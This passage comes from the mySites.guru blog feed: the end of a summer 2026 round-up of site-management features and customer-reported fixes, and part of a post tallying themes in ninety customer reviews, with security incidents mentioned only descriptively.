&lt;p&gt;Andrés noticed the vulnerability matcher was flagging Slider Revolution installs as old as 6.7.x against an advisory that only covered 7.0.0 to 7.0.10, because the matcher was comparing against the patched version and ignoring the bottom of the range. That was wrong for every customer, not just his. Andrzej found two more in one week: a WordPress plugin flagged against a fixed version that only exists in the paid tier, so there was nothing to update to, and advisories writing a version as 4.3.0 while the plugin reports 4.3, which flagged people who had already updated. Marc caught the JCE compromise check reporting a &lt;em&gt;defensive&lt;/em&gt; &lt;code&gt;.htaccess&lt;/code&gt; as a backdoor, because a directory that denies PHP execution was being read as one that enables it. Scott found that the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/mediaandtemplate&quot;&gt;robots.txt one-click fix&lt;/a&gt; was reporting “Fixed!” on files with Windows line endings without changing anything at all, which is the worst kind of bug because it looks like success.&lt;/p&gt;
&lt;p&gt;Pat went further and contributed a signature. The Rogue Super Admin Accounts tool now flags accounts created with the &lt;code&gt;joomla@test.com&lt;/code&gt; address, because Pat had seen it on compromised sites and told us.&lt;/p&gt;
&lt;p&gt;And then there is the one that still surprises me. In July a customer sent us a raw access log from their host, asking what a pattern in it meant. It was an active zero-day in Balbooa Forms, unpatched, letting an anonymous visitor upload a file and run code. We wrote the detection, warned every affected account directly, and published the workaround before the vendor had a fix. That disclosure started as one person forwarding a log file because something looked odd.&lt;/p&gt;
&lt;p&gt;Marc, Adi, Laurent, Anne, Chris, Cathy, Tim, Mike, Antonis, Sven, Diggles, Andrés, Mirko, Isidro, Martijn, Nico, Troy, Scott, Julian, Frédéric, Peter, Andrzej, Wilm, Pat and Christian: thank you. The changelog credits every one of you by name, which is the least we can do.&lt;/p&gt;
&lt;p&gt;If something in your account annoys you, or looks wrong, tell us. That is not a platitude, it is where forty-three of this year’s improvements came from.&lt;/p&gt;
&lt;h2&gt;And the nine months before that&lt;/h2&gt;
&lt;p&gt;Summer was busy, but it was not the whole year. Briefly, and in no particular order.&lt;/p&gt;
&lt;p&gt;AI arrived in stages, starting last October with sending suspect content files to Claude or OpenAI, becoming full &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;malware analysis&lt;/a&gt; in January. The &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;public API&lt;/a&gt; got its OAuth and identifier work over the winter and was finally documented properly in June, and an MCP server went live the same month so you can drive your whole account from an AI assistant, ChatGPT included.&lt;/p&gt;
&lt;p&gt;While we are here, two things that turned up on this blog in February are not new at all, and it would be cheeky to count them: &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkey login&lt;/a&gt; has worked since 2020, and the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/&quot;&gt;Raycast extension for Mac&lt;/a&gt; has been around for years too. We had simply never written either of them up, which is its own kind of failure.&lt;/p&gt;
&lt;p&gt;Two hosting compatibility checkers went up ahead of the big platform releases, one for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6&lt;/a&gt; and one for &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7&lt;/a&gt;, each comparing your server’s PHP and database versions against the official requirements. Joomla backward compatibility plugin status became trackable across every Joomla 5 and 6 site, with a remote toggle so you never log in to turn it off. &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-module-versioning/&quot;&gt;Module versioning for Joomla 6.1&lt;/a&gt; got a one-click enable, so module config changes can be rolled back.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;Locked Joomla scheduled task detection&lt;/a&gt; went into the snapshot for Joomla 4.1 and up, thanks to Marc. A new tool audits and toggles the &lt;code&gt;WP_AI_SUPPORT&lt;/code&gt; constant across WordPress 7 sites. Every blog post here became &lt;a href=&quot;https://mysites.guru/blog/&quot;&gt;downloadable as a PDF&lt;/a&gt;. You can finally delete team members, which took an embarrassing number of years and a push from Tim. Three user tools appeared at once for both platforms: inactive users, unactivated users and blocked users, each with block, unblock and delete. Theme and template lists gained CSV export. And the Joomla 3 end-of-life security patch tool was updated in January to include every known fix for a version that is no longer supported.&lt;/p&gt;
&lt;h2&gt;What you are actually paying for&lt;/h2&gt;
&lt;h3&gt;Speed of response&lt;/h3&gt;
&lt;p&gt;Two of the tools above exist only because Joomla shipped a regression and there was no upstream fix yet. When 5.4.8 and 6.1.3 broke the Template Manager so that creating overrides and folders failed, the tool that identifies affected sites and applies the community fix went out four days later. If you manage sites for clients, the gap between a platform breaking and someone handing you a fix is the thing you are actually buying.&lt;/p&gt;
&lt;h3&gt;Detection that keeps up&lt;/h3&gt;
&lt;p&gt;The Helix Ultimate mega-menu check was written in July and rewritten three weeks later, because an attacker adapted to it and started hiding scripts behind font and image file extensions. That is the normal shape of this work. A signature list no one revisits is worse than no signature list, because it tells you that you looked. The JCE checks went the same way, twice, in a single month. And on 26 August the Joomla CNA widened its Sourcerer advisory from below 14.0.0 to below 16.0.0, because each version published as the fix turned out to be vulnerable too: an unauthenticated remote code execution, exploited in the wild, where three successive “fixed” releases fixed nothing. Our rules had followed the original range, so a Sourcerer site could have read clean for nine days while still exposed. The corrected rules went out the same morning we saw the change. That is what detection keeping up honestly looks like: wrong for hours, then corrected, rather than wrong for weeks.&lt;/p&gt;
&lt;h3&gt;One person to tell&lt;/h3&gt;
&lt;p&gt;Everything in the section above happened because somebody wrote in and there was somebody to write to. That is worth more than any single tool on this page, and it is the part a feature list never shows you.&lt;/p&gt;
&lt;h2&gt;The price, which has not moved since 2010&lt;/h2&gt;
&lt;p&gt;One thing none of the sections above mention is what any of it costs, so: mySites.guru is £19.99 a month or £199.99 a year for unlimited sites, and annual works out 16.6% cheaper, which is roughly two months free. A single site is £5.00 a month.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing page&lt;/a&gt; is the one page on this site we have never had a reason to rewrite. That price was set in 2010, while we were getting ready for the 2012 launch. In the sixteen years since there have been zero increases to the price of a subscription. Not a single one. Over the same stretch inflation has sat near record levels, our own costs have quadrupled since 2010, and AI has recently started pushing hardware costs up with everything else. The subscription has stayed where it was through all of it, every tool described above included.&lt;/p&gt;
&lt;p&gt;It is an unlimited set fee, and the unlimited part is literal. We have subscribers with a single site and subscribers with thousands of them, all paying the same set fee. Customers stay an average of three to five years, which is its own answer to whether the arrangement works.&lt;/p&gt;
&lt;p&gt;For a sense of scale: I personally spend more on coffee a month than the price of a mySites.guru subscription.&lt;/p&gt;
&lt;h2&gt;What is coming next&lt;/h2&gt;
&lt;p&gt;There is a long to-do list. There always is, and some of it has been sat on there for a year. One of the bigger items on it shipped right at the edge of this post’s window: a full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web-based file manager&lt;/a&gt; for your connected Joomla and WordPress sites, jailed to the site root, opt-in, and logged twice. It is big enough to earn its own write-up rather than a line here.&lt;/p&gt;
&lt;p&gt;Most of the next batch will come from somebody writing in, though, rather than off that list. Forty-three times in the last twelve months that is exactly what happened, and autumn will go the same way. So if something is missing, or slow, or in the wrong place, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt; and say so. A request from somebody managing sites all day is worth more than anything we would sit here and invent.&lt;/p&gt;
&lt;p&gt;The rest gets decided for us. A Joomla extension vulnerability turns up and a detection rule has to follow it, sometimes within hours. An attacker adapts to a check and the check gets rewritten, which happened twice this summer. And when the same question arrives in support three weeks running, it usually turns into a feature, because a question asked that often is telling us something is missing.&lt;/p&gt;
&lt;p&gt;Which is why there is no roadmap with dates on it. The changelog in the left menu of your mySites.guru dashboard is the closest thing to one, written up the day each thing ships. If you want to know what is coming next, check there first.&lt;/p&gt;
&lt;h2&gt;Ninety people said so this summer&lt;/h2&gt;
&lt;p&gt;Between 1 June and 24 August, 90 people left a five-star review.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“So I&apos;m just two weeks (or so...) here at mySites.guru. What should I say? Perfect. Secure. Reliable. And damn fast! Thank you, Phil, you saved my customers and my soul! :-) Greetings from Germany!”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/klaus-brandt.webp&quot; alt=&quot;Klaus Brandt, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Klaus Brandt&lt;/a&gt;&lt;span&gt;1 August 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“Life changing. Amazing capability and TOP QUALITY design and interface. Would have added years to my life if I had discovered this earlier. I am dramatically more productive and my 25+ Joomla sites have never been better maintained or run more smoothly.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/tc.webp&quot; alt=&quot;TC, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;TC&lt;/a&gt;&lt;span&gt;29 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“Helicopter view for your sites &amp;amp; Timesaver for resolving technical issues or mass install (and so much more). A must have for everyone with many Joomla! and Wordpress installations.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/tim.webp&quot; alt=&quot;Tim, ictineo.nl&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Tim&lt;/a&gt;&lt;span&gt;ictineo.nl · 5 August 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“Saves time, saves money, saves websites from being hacked. What more could you ask for???”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/peter-dowse.webp&quot; alt=&quot;Peter Dowse, Marketeam, Brisbane&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Peter Dowse&lt;/a&gt;&lt;span&gt;Marketeam, Brisbane · 7 August 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Every reviewer is a real person with a real name, and that is intended. There are no anonymous testimonials on this site and nothing is paid for. WP Mayor also &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;reviewed mySites.guru independently&lt;/a&gt; and scored it 4.6 out of 5, which is worth reading because we had no say in it. If you would rather read the recurring themes than the raw list, &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-reviews/&quot;&gt;that is here&lt;/a&gt;, and we have since &lt;a href=&quot;https://mysites.guru/blog/what-90-reviews-say-about-mysites-guru/&quot;&gt;counted what all ninety of this summer’s reviews mention&lt;/a&gt;, which threw up a result we did not expect.&lt;/p&gt;
&lt;p&gt;If any of this sounds like your week, the free site audit is the honest way to find out, and it does not need a card.&lt;/p&gt;
&lt;h2&gt;The next one&lt;/h2&gt;
&lt;p&gt;This becomes a seasonal post, so autumn 2026 gets the same treatment: what shipped, why, and who asked for it.&lt;/p&gt;
&lt;p&gt;Subscribers do not need to wait for it. Everything here appeared in the dashboard changelog as it happened, in the left menu, with a badge showing whether it was new, improved or fixed. This post is a summary for people who would rather read the story once than follow it a line at a time.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>site management</category><category>agency tools</category><category>updates</category><category>joomla</category><category>wordpress</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/summer-2026-new-features.png" length="0" type="image/png"/></item><item><title>The latest 90 reviews of mySites.guru - and what they said</title><link>https://mysites.guru/blog/what-90-reviews-say-about-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/what-90-reviews-say-about-mysites-guru/</guid><description>Ninety people left mySites.guru a five-star review this summer. We counted what they mentioned, and the most common word was not security, updates or price.</description><pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Between the ninth of June and the nineteenth of August, ninety people left mySites.guru a five-star review.&lt;/p&gt;
&lt;p&gt;The obvious objection first, because it is a fair one. We asked. In June we replaced the third-party review form we had been using with &lt;a href=&quot;https://send-review.mysites.guru/&quot;&gt;our own&lt;/a&gt;, and then we asked people to use it.&lt;/p&gt;
&lt;p&gt;So yes, the volume came from asking. What no one did was tell anyone what to write. There is no discount for leaving one, no prize draw, no template, no approval step, and no filter that loses the unflattering ones. The form is &lt;a href=&quot;https://send-review.mysites.guru/&quot;&gt;open to anyone&lt;/a&gt;, right now, including people who left years ago.&lt;/p&gt;
&lt;p&gt;We could of course have chosen not to publish an unfavourable one. In practice the question almost never arises, because people who are unhappy with us do not tend to write it on our own site. They put it on social media, or on Trustpilot, which is an ironically named place to go when you have decided not to say it to someone’s face. That is entirely their right. We would still rather hear it directly, because a complaint we can read is a complaint we can fix, and quite a lot of this product exists because somebody did exactly that.&lt;/p&gt;
&lt;p&gt;We already have &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-reviews/&quot;&gt;a post pulling out the recurring themes&lt;/a&gt; from the reviews as a whole. This is a different exercise: rather than pick the six most flattering quotes and call it a testimonial page, we read all ninety from this summer and counted what people actually talked about. The result was not what we expected.&lt;/p&gt;
&lt;h2&gt;The most mentioned thing in the product is a person&lt;/h2&gt;
&lt;p&gt;Here is what appears in the ninety reviews, counted by hand:&lt;/p&gt;





























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What reviewers mention&lt;/th&gt;&lt;th&gt;Share of the 90&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#phil&quot;&gt;Phil, by name&lt;/a&gt;&lt;/td&gt;&lt;td&gt;36%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#time-savings&quot;&gt;Time, or saving it&lt;/a&gt;&lt;/td&gt;&lt;td&gt;31%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;Joomla&lt;/a&gt;&lt;/td&gt;&lt;td&gt;30%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#security&quot;&gt;Security&lt;/a&gt;&lt;/td&gt;&lt;td&gt;21%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Being hacked&lt;/a&gt;&lt;/td&gt;&lt;td&gt;21%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#monitoring&quot;&gt;Monitoring&lt;/a&gt;&lt;/td&gt;&lt;td&gt;20%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#support&quot;&gt;Support&lt;/a&gt;&lt;/td&gt;&lt;td&gt;18%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#updates&quot;&gt;Updates&lt;/a&gt;&lt;/td&gt;&lt;td&gt;18%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;WordPress&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Vulnerabilities&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;Audits&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#backups&quot;&gt;Backups&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/reviews/#value&quot;&gt;Price or value&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Every row links somewhere. The eight that map to a review topic open the &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; filtered to it, and the rest go to the thing being talked about. On the filtered ones, expect a longer list than the percentage suggests: the percentages above count how many of this summer’s ninety reviews use the word, while the filter groups every review we have ever received by subject, which is a broader test over a bigger pool.&lt;/p&gt;
&lt;p&gt;Read that top row again. In reviews of a piece of software, the single most mentioned thing is not a feature. It is the name of the person who answers the emails.&lt;/p&gt;
&lt;p&gt;We did not set out to build a product with a person at the centre of it, and if you asked a product consultant they would probably tell you it is a liability. It is certainly not something you can put on a comparison table. But thirty-two of ninety people chose to name him, unprompted, when they were writing about a site management platform.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“We are using mysites.guru for many years and over 100 websites and are completely satisfied. The monitoring is reliable and provides peace of mind. We are impressed by the incredibly fast support - questions are answered competently and often within a very short time. A great service that saves us a lot of work in our daily operations and is absolutely worth the price. Highly recommended!”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/maya-baas.webp&quot; alt=&quot;Maya Baas, Bytekultur&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Maya Baas&lt;/a&gt;&lt;span&gt;Bytekultur · 29 June 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The second thing worth noticing is what is &lt;em&gt;low&lt;/em&gt; on that list. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Backups&lt;/a&gt; get 6%. Price gets 6%. These are the things a feature comparison would lead with, and they are close to the bottom of what people bother to mention when writing freely.&lt;/p&gt;
&lt;h2&gt;What people are actually buying is the end of manual checking&lt;/h2&gt;
&lt;p&gt;Time comes up in 31% of reviews, and it is almost always the same shape of story: a number of sites that has grown past the point where a human can keep up. That is &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;the whole argument for centralised management&lt;/a&gt;, and it is not one anybody believes until they have lived it.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“No one can manually monitor 25 CMS websites for security vulnerabilities in their extensions. With mysites.guru, it&apos;s almost a breeze.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/andre-eisen.webp&quot; alt=&quot;Andre Eisen, Owner, WERBEWERFT&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Andre Eisen&lt;/a&gt;&lt;span&gt;Owner, WERBEWERFT · 20 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Twenty-five is a modest number by the standards of this summer’s reviews. The counts people volunteered run from 20 sites up to well over 600.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“mySites.guru has been one of my best decisions for many many years. I run well over 600+ websites and simply could not do it without this amazing service. Thank you, Phil!”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/john-palmer.webp&quot; alt=&quot;John Palmer, Empro Web Development&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;John Palmer&lt;/a&gt;&lt;span&gt;Empro Web Development · 13 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The threshold where this stops being a nice-to-have seems to sit somewhere around twenty sites. Below that you can just about hold it in your head. Above it, something is always out of date and you will not find out which until it matters. The tools people name most often in this context are &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk extension updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audits and backups&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension alerts&lt;/a&gt; that tell you which of your sites is running something with a CVE against it.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“Been using mysite.guru for a month now and what a pleasure it has been. Already loaded 20 sites with lots more to come. In the past week I&apos;ve been notified regarding new extension security updates and vulnerabilities, and with a 1 button click, all 20 were patched.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/paul-bailey.webp&quot; alt=&quot;Paul Bailey, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Paul Bailey&lt;/a&gt;&lt;span&gt;9 June 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Twenty-one percent of them mention being hacked&lt;/h2&gt;
&lt;p&gt;This is the number that would worry us if we were reading it about someone else’s product, so it deserves explaining. A large share of people find the service &lt;em&gt;because&lt;/em&gt; they have just been hacked, and a fresh compromise is what they write about when they sit down to leave a review. If that is you right now, start with &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;how to find hacked files and backdoors&lt;/a&gt; rather than with this post.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“My joomla-site was hacked by 2 hackers that got in through an older version of JCE. Thanks to Phil my site was completely cleaned, updated and working again in less than 24 hours. Thx”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/herman-vansynghel.webp&quot; alt=&quot;Herman Vansynghel, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Herman Vansynghel&lt;/a&gt;&lt;span&gt;11 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;That one is worth pausing on because it names the actual attack. The &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE editor compromise&lt;/a&gt; ran through the Joomla world this summer, and it is the reason a dedicated check now finds the rogue editor profiles and the webshells the attack drops. Herman’s site was cleaned through &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;, which is the separate fixed-fee service for when a site is already compromised and you want somebody else to deal with it.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“If you think you&apos;ve manually cleaned your Joomla site of all hacked files, you&apos;re 100% wrong. This program is absolutely incredible, and it finds Every File that is hacked or suspect. The ability to view/edit/delete files right in the GUI is amazing, and a real time saver.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/mike-k.webp&quot; alt=&quot;Mike K, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Mike K&lt;/a&gt;&lt;span&gt;15 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Mike is describing the thing that changed in June, when &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;confirmed hacked files were split away from heuristic suspect content&lt;/a&gt; so that a real compromise is no longer buried in a list of files that turned out to be legitimate.&lt;/p&gt;
&lt;h2&gt;The reviews name features we have never marketed&lt;/h2&gt;
&lt;p&gt;Reading ninety reviews in a row surfaces something a roadmap never will: which parts of the product people actually notice.&lt;/p&gt;
&lt;p&gt;Tagging came up, which went unwritten about here for years and now has &lt;a href=&quot;https://mysites.guru/blog/organise-client-sites-with-tags/&quot;&gt;a page of its own&lt;/a&gt;. Neither, for that matter, have we written much about &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;tracking PHP versions across every site&lt;/a&gt;, and that turns up in the same review.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“Having all our managed sites in one place is an incredible a time saver not to mention receiving the heads up on updates and vulnerabilities, tracking php versions and software via tagging. Invaluable to our business.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/artful-web-print-design.webp&quot; alt=&quot;Artful Web Print Design, artful.com.au&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Artful Web Print Design&lt;/a&gt;&lt;span&gt;artful.com.au · 13 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;So did the audit results themselves, and the fact that sites stay &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;permanently monitored&lt;/a&gt; between them, from somebody two weeks into using the product:&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“I&apos;m pretty new to mySites.guru and still finding my way around some of the tools, but so far I am very enthusiastic about it. The audits are really interesting and useful, and I love that my 70 sites are permanently monitored. I look at it every day and immediately have a good idea of the health of my sites.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/lieve.webp&quot; alt=&quot;Lieve, Hoot Koetuur&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Lieve&lt;/a&gt;&lt;span&gt;Hoot Koetuur · 23 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;And the thing that generates the most email of anything we do, which is telling people about a vulnerability before their vendor does:&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“The centralized management (backups, updates, malware protection, etc.) for all 115 of my websites makes my job so much easier. I also appreciate the proactive notifications about security vulnerabilities and the extremely fast response time to support requests!”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/christof-rimle.webp&quot; alt=&quot;Christof Rimle, Rimle IT Services&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Christof Rimle&lt;/a&gt;&lt;span&gt;Rimle IT Services · 14 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Those notifications are not a feed we resell. A good number of them come from &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;vulnerabilities we found and disclosed ourselves&lt;/a&gt;: nineteen across seventeen Joomla extensions in one month alone, five of them rated the maximum CVSS 10.0.&lt;/p&gt;
&lt;h2&gt;If you have Joomla or WordPress sites and none of this is familiar&lt;/h2&gt;
&lt;p&gt;One sentence turned up, in one form or another, in a surprising number of these reviews. It is the reason this post exists.&lt;/p&gt;
